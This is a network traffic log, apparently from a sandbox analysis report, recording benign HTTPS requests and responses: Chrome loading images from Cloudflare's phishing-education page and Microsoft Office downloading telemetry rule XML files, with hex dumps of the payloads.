2024-10-16 15:56:47 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	49823	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:47 UTC	885	OUT	GET /img/learning/security/threats/phishing-attack/diagram-phishing-attack.png HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:48 UTC	956	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: image/png Content-Length: 34038 Connection: close Accept-Ranges: bytes Cache-Control: public, max-age=0, must-revalidate ETag: "f881ce0909c7585c5f12986f7499f9db" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t6DdvkDUQOfdVhqPHeGX2Cy0vYeuOXGCaUpgE0LFzlOZGDDzPJ4VGJZBbORbE8a%2Frga7yrmHnFs3wVaUwQSlGnsoRRhYPhYyVjaQWarcg6lHhhv3NeoKlQhvz17Tdyq%2F%2FOsxvA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393db02e582cdc-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:48 UTC	413	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 73 00 00 04 68 08 03 00 00 00 bb 00 fa da 00 00 01 b6 50 4c 54 45 ff ff ff 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 8a c5 e3 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 71 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f0 f0 f0 df df e0 c5 c4 c6 be bd bf ab ac ae 99 9c 9e 9f a1 a3 cb ca cb f7 f8 f8 ff Data Ascii: PNGIHDRshPLTEqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: de dc dc ca c7 c7 7e 7c 7c 88 86 86 fd fd fe f5 f4 f4 dc db dc c9 c7 c6 a6 a3 a3 86 84 84 f5 f4 f4 71 71 71 71 71 71 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 e6 e8 e9 54 2b 19 33 00 00 00 92 74 52 4e 53 00 bb ff 44 22 77 88 dd ee 11 66 99 aa cc 55 33 20 40 50 80 60 90 e0 ff 10 a0 30 f0 d0 70 b0 c0 20 70 c0 a0 60 30 80 b0 90 d0 10 f0 e0 40 50 40 30 60 80 c0 ff f0 b0 50 20 e0 a0 10 d0 90 ff ff ff ff ff ff ff ff ff 70 ff ff ff ff ff 40 a0 d0 ff f0 c0 60 ff 10 b0 30 e0 ff 20 80 50 70 90 ff ff ff ff ff ff ff ff ff ff ff ff c4 f3 ff 88 98 f8 fd ff ff 3d b2 ff ff ff ff ff ff fc 2e 88 e6 f3 ff ff ff ff ff dc d8 97 40 ff 30 c0 20 80 10 60 90 e1 90 d0 0d 00 00 82 5d 49 44 41 54 78 01 ec d6 05 01 00 30 0c 00 a0 59 ff cc 8f 71 83 14 04 Data Ascii: ~\|\|qqqqqqT+3tRNSD"wfU3 @P`0p p`0@P@0`P p@`0 Pp=.@0 `]IDATx0Yq
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: c7 01 51 27 68 be 2b bb 72 08 52 ab eb da de d6 39 44 44 44 a4 8c d0 05 67 3e 16 3e cd f7 81 73 9a 57 68 76 ac 6e 9d a3 64 58 ec 43 9f 69 fc d2 39 68 6d 61 40 dc 09 9c 93 af 10 a6 56 d7 b5 a9 73 bc 89 88 88 c8 04 ab dd 64 f0 f3 15 e1 30 7f 1b 0c 54 83 0d 60 5f f6 1c 75 0e db ea 36 b3 b2 70 ea 5e ee 1c 63 8d 0a 02 82 4e 30 51 b9 2d 10 a6 56 d7 b5 a9 73 bc 89 88 88 c8 0a 53 fc 24 8b 67 60 d9 be 0f 76 07 18 7d 37 db a0 a9 30 03 07 df ec d6 39 6c 00 f6 da 4d 3c 7f ee 3e fd 7a 0f a9 3b 1f 06 b7 2a 0a 08 3a 41 f1 0c fc c3 9e 5d e0 48 12 02 00 14 a5 dd 5d a8 f6 fb 9f 72 dd 97 11 32 30 fa 5e 3c 55 58 8c 9f 30 e8 75 c3 ef 84 48 cd fa 4b ea 6c 9a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 8c e5 6a bd f9 d0 b6 ab 65 00 00 ea 5a Data Ascii: Q'h+rR9DDDg>>sWhvndXCi9hma@Vsd0T`_u6p^cN0Q-VsS$g`v}709lM<>z;*:A]H]r20^<UX0uHKl>jeZ
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: de d0 00 dd 57 59 63 1a 29 e0 e8 1c 84 d0 39 e8 1c e4 69 9c 11 e7 74 88 68 c3 ee e5 1d 71 3e 64 6b f8 6d bf d2 39 52 00 63 c5 62 e7 b8 f9 3a 2d 0d df 6d 71 d1 ea 69 e7 b0 e9 0d 17 dd 68 80 ce 34 2a 01 68 64 24 9d 83 10 3a 07 9d 83 3c c4 1e b3 9c de 8e 3b b1 9c 5f df 31 cf 51 b6 86 de 3e 91 bd 5f fe 3e 87 2f c9 b1 cc 39 2a 00 99 9f 1b 7f de 8a af 8e 3a 87 4d 6f 70 70 97 7f 03 f6 79 2b 76 24 9d 83 10 3a 07 9d 83 3c cc 19 cb f8 78 7b fd 73 96 2b bb f3 f1 d7 7e e9 c1 6d 3e 57 b6 ee e4 93 4c 6b e8 d2 2d eb 06 4f d0 16 0b 9d 23 03 d0 7e 9d be 74 68 fd 53 5d 1b 00 85 c4 ab ad 73 4c a7 37 e4 40 3d 7d cb 24 73 c3 93 6d 33 6d d4 8c a4 73 10 42 e7 a0 73 90 47 d8 e3 d9 1c 65 6b 64 05 46 96 3b 87 62 a4 6e a3 ce e1 69 86 7a 33 b7 c8 24 5e 6d 9d 63 3a bd a1 07 e0 ab 6f Data Ascii: WYc)9ithq>dkm9Rcb:-mqih4hd$:<;_1Q>_>/9:Moppy+v$:<x{s+~m>WLk-O#~thS]sL7@=}$sm3msBsGekdF;bniz3$^mc:o
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 58 9d 1d 5f ec f3 56 bb a4 2b a8 ff ac 2a 76 db 20 00 85 cd 11 b1 b3 41 f2 fd 49 67 31 e9 ad 63 93 68 0e 59 60 1a dd e0 b9 ec c6 0e b7 9d 1e 9c 58 3d 9c 9c f3 16 6b db a4 25 a8 df 56 95 7b a8 13 80 b2 e6 08 cb df ac 4c b0 9e 26 a4 6f 57 02 68 0e 49 50 32 46 cb 24 df 5a aa b4 16 c7 b1 25 c8 54 c7 8e 9e d1 01 77 55 0f dc 10 80 b2 e6 88 48 1f 3f 44 13 ac a7 88 f4 6f 8a a1 39 c0 e7 0f 65 85 a2 16 c9 71 75 62 49 b8 fc 85 e8 d0 dc 7d d5 0b 35 02 50 d5 1c 61 f9 31 8b 10 eb 23 2c 9d 09 01 34 07 f8 fc a1 ac 90 f3 7f 72 9c fe b0 24 1d 22 3a f4 f6 f3 3d 09 ee eb ea a2 a6 56 7d f3 48 00 8a 9a 23 22 5b 0c e2 8f f6 10 91 7e 20 13 42 73 80 8c b2 31 72 25 df 27 c7 fe b1 25 ed f2 17 a2 43 67 ef d3 1c 3f 49 9d a7 ea 1f ae 09 40 4d 73 04 a5 83 81 26 58 5f 71 ea 29 ee ec e9 Data Ascii: X_V+*v AIg1chY`X=k%V{L&oWhIP2F$Z%TwUH?Do9equbI}5Pa1#,4r$":=V}H#"[~ Bs1r%'%Cg?I@Ms&X_q)
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 22 34 87 07 30 40 8a 31 52 fe e1 47 9f e5 1c 96 6c 73 1c f0 77 3b 04 fa 36 87 f3 e8 b0 d7 72 a0 39 10 1d 2a 9a 43 c1 fb 91 68 70 2a f4 66 4a fc 7e 34 87 4b 60 d6 f0 b3 b2 2f 9e ad 1c 59 12 fe 22 9a 43 62 88 f4 0e fc e9 55 b2 39 1c bd 99 b5 ff a8 5c 73 34 ee c0 e7 fe e3 3f d5 45 87 f2 e6 50 af fb f2 73 34 07 2c 18 be 56 2a f8 61 0b a9 e5 56 73 1c f1 0f 55 f0 a7 3b e9 e6 b0 4b 42 7e 2d 87 64 73 5c 57 41 2b ce a3 03 cd 81 e6 c0 cd 8a 4f cd a1 39 c0 97 cd 61 0f 69 c8 ae e5 40 73 20 3a 34 6d 0e dc ad a8 87 9b 15 dc ae 28 68 0e f1 58 f6 bf aa a0 7d 73 d0 cf 66 74 5c 4b ac e5 78 22 34 07 a2 c3 b7 33 a4 68 0e c0 cd 8a 50 2a e8 df 1c 36 fd 9b 03 cd 61 7f 7a 45 b8 ef bb 96 a3 5a 7b 46 73 a0 39 7c f1 56 56 bd 28 9a 43 02 6e 56 70 bb 82 e6 00 f9 e6 b8 7e a8 da 5e 7a Data Ascii: "40@1RGlsw;6r9ChpfJ~4K`/Y"CbU9\s4?EPs4,VaVsU;KB~-ds\WA+O9ai@s :4m(hX}sft\Kx"43hP6azEZ{Fs9\|VV(CnVp~^z
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 82 e6 b0 df be 4a a8 ff 6c 90 04 fb e5 2d 9a 03 d4 35 07 25 bb 1c 3b 04 99 5b a8 4d 98 09 53 68 0e 24 87 c4 20 85 50 58 98 2b 19 de c9 cc 88 e2 19 68 ac 24 eb c1 14 e9 2f b7 8e 39 16 49 43 68 8e 57 72 db 13 9a 03 94 37 87 dd 00 21 97 97 73 74 6e 99 08 13 02 68 8e 31 53 28 0d 32 4d 91 27 5b 3a 97 9d f7 a2 37 cc 32 09 83 4e 94 98 a4 cc 76 45 fe e9 8a cc a3 95 55 d2 0f 9a a3 a6 a2 0a 1a 0f 68 0e 50 dc 1c 51 26 24 a2 6a 9a 23 d8 39 14 a6 09 cd 31 66 e6 8c 81 94 66 d2 d4 a2 b0 60 66 8a 86 2a f3 d9 99 3c b5 5a c8 0e f8 cb ca a4 cc 0a ff 70 7a 62 0d e1 88 e3 98 43 43 f6 07 e8 55 a8 bf a2 39 40 6d 73 50 8c 09 21 0f 9a 23 c5 84 30 9a 63 cc 94 87 28 01 71 da 21 a4 17 cc d9 79 c3 55 c5 cc dc 4c 99 da 14 06 09 0e 21 43 ca 6c 6f ba 30 46 7a bc 87 63 0e 1d 89 a5 1c aa Data Ascii: Jl-5%;[MSh$ PX+h$/9IChWr7!stnh1S(2M'[:72NvEUhPQ&$j#91ff`f*<ZpzbCCU9@msP!#0c(q!yUL!Clo0Fzc
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: a7 e7 64 4c 2b 11 9a 63 72 c8 8e 5a 4b 01 00 9a e3 6a 8b 4f de ca 41 73 c0 df d5 22 8b 65 c2 01 80 e6 18 cb 6c 9d 8c e3 b0 91 cb d0 1c 48 b3 63 63 be be ba ea 9c 00 00 cd 31 9a cd 2a 19 c1 7e 29 43 d0 1c 28 bf 76 77 b4 79 91 0a 00 d0 1c 23 db 1d 92 6b 6d 37 42 73 20 a6 3b da 2f 39 df a0 37 00 d0 1c b7 b2 5c 27 d7 38 cc 24 12 cd 81 b4 ab ac f9 32 da a3 7a 01 00 9a e3 86 36 8b 7d 12 6b 3d 93 eb d0 1c 28 0b b5 8d f9 b7 ea a3 7a 27 03 00 00 cd 11 5b 1d 71 b3 8e c3 5c 46 41 73 c0 79 cd ff 49 79 b4 56 0b 2f 11 00 80 e6 88 b4 7c 4e 86 da ce 24 0e cd 01 0d 1f 0b 71 be 50 6b cd a7 68 6c ae 5d 19 9c bb e4 ad 17 00 a0 39 6e 67 b7 dd 27 97 5b bf 3c 49 2c 9a 03 6a 4e ea 3c 2b 25 c4 f9 4e 2b 6b 6f d5 1a 47 cd fc b9 2f fe b6 cc e3 05 00 68 8e 9b 9a 5f 98 1d eb d5 4e ae Data Ascii: dL+crZKjOAs"elHcc1*~)C(vwy#km7Bs ;/97\'8$2z6}k=(z'[q\FAsyIyV/\|N$qPkhl]9ng'[<I,jN<+%N+koG/h_N
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: 37 87 f2 9b 01 70 8e 88 a1 ff 15 ef 02 99 03 40 3f fe a5 5d 1c ae f1 4d 27 73 fc 3d 00 a6 b8 19 1b 8b 6b 17 be c4 aa bc 22 bf eb 75 30 c6 77 b3 cc f1 d7 00 a8 b1 ea cb 46 1f ab 2a 73 fc 1e f4 71 37 fe 35 99 03 80 25 56 73 2b 87 fc 9e d9 0a d4 b8 eb fa c6 85 b9 da 5e fa f3 32 07 80 e1 ca 18 37 87 e7 ef 06 cd 4d 3f bf 0b 5e 76 88 7f 5c 1b 19 b9 ee 97 fe 88 cc 01 40 8d 9b ae 35 5a 79 e0 d3 9a 3e 24 a7 b8 19 bb 46 16 38 7f ac b5 f3 1f 9b 39 00 0c 57 ae b1 ea cb 43 b9 e9 c3 67 e6 e0 79 6c d4 61 f7 b1 d6 ba 3f 2b 73 00 18 ae 9c 1b a3 95 87 72 d3 87 cf 2c c9 be c6 87 c2 9a 5b 4b 32 c7 9f 0a 30 5c e9 bb 97 9a f8 cf 37 7d 48 96 b8 99 4a ff fd df 7f 5d 63 ab bd b4 3a d6 21 56 b5 96 9d 63 3d c4 cd 54 af cd cc 31 ec 36 cc cc f5 12 ff d7 d5 79 9f 53 d6 85 eb ed 6c 43 Data Ascii: 7p@?]M's=k"u0wF*sq75%Vs+^27M?^v\@5Zy>$F89WCgyla?+sr,[K20\7}HJ]c:!Vc=T16ySlC
2024-10-16 15:56:48 UTC	1369	IN	Data Raw: ad b9 4b 5d 03 42 b7 0b 07 f5 1c ab a1 f6 cd 02 3d 75 39 7b f7 f7 37 5c 6a fd d4 bd b2 00 86 2b 63 69 67 8e 76 cb 6e 37 fd af ca 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 63 ef 5e d6 93 68 ba 36 8e af 8b f9 77 0e 1a 4d 34 31 09 20 ab 25 6c c2 ae a1 03 05 c3 4c 18 69 e2 93 3c ea ec 8b ef 7e 73 ee af 5a 80 a0 49 ba a0 2b 5a 74 fe bf 63 e0 ea eb a6 6a d5 ba 4f 8a d5 d7 56 b5 78 22 00 00 00 de 95 ce ea 4d 5d d5 ac 9f 95 04 00 00 c0 9b 6a bd a6 b7 8b ea 55 01 00 00 f0 e0 e4 34 d2 fb 44 f5 92 64 03 00 00 50 ac 68 ba 4a 51 00 78 00 Data Ascii: K]B=u9{7\j+cigvn7c^h6wM41 %lLi<~sZI+ZtcjOVx"M]jU4DdPhJQx

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:48 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:48 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: b1f1ba8d-201e-0085-49d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155648Z-15b8d89586fx2hlt035xdehq5800000002eg0000000001q5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:48 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:48 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:48 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: fecf3ea1-401e-0016-09d8-1e53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155648Z-r197bdfb6b4h2vct0gzb37213s0000000890000000005x5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:48 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:48 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-16 15:56:48 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 338a1818-c01e-00a2-36d8-1e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241016T155648Z-16b659b4499xhcppz4ucy307n400000006b0000000008v34 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-16 15:56:48 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	49836	104.16.124.96	443	2436	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-16 15:56:48 UTC	834	OUT	GET /img/privacyoptions.svg HTTP/1.1 Host: www.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.cloudflare.com/learning/access-management/phishing-attack/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=F9zD6vGpFng_Ovlv_Yfvi3nzbS_N7HT4.jjZFirF.mQ-1729094206-1.0.1.1-RzQpYbS1.H4FjPwqPhNW4o0WiC5eQAEj1v9KNU8G359WyLKyJ.PL4uY3EQ1K4_I6Eak.JTWtTIfsUMvzhnXq7cA95hbHbg9YU4oc_3heVPI
2024-10-16 15:56:48 UTC	898	IN	HTTP/1.1 200 OK Date: Wed, 16 Oct 2024 15:56:48 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close ETag: W/"5a8d3dae7c1ddd64826cea94a93139d4" Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: geolocation=(), camera=(), microphone=() Referrer-Policy: strict-origin-when-cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-GWW-LOC: EN-US X-PGS-LOC: EN-US X-XSS-Protection: 1; mode=block Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=k7PGKuKmdDu6gckxAnViozhJRZPbhEwwlm%2F1hsvX4V1MBYAmqcLV44R%2B5v%2BCQLRhO%2BpYYa6J2MBeECYnoOGGl6wWkysp7k76OzcHoHng3Leo7YZySUKSTK7bUtLUH1%2FOfmTS5Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d393db40d4347a4-DFW alt-svc: h3=":443"; ma=86400
2024-10-16 15:56:48 UTC	471	IN	Data Raw: 37 30 31 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 32 34 2e 33 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d 22 4c 61 79 65 72 5f 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 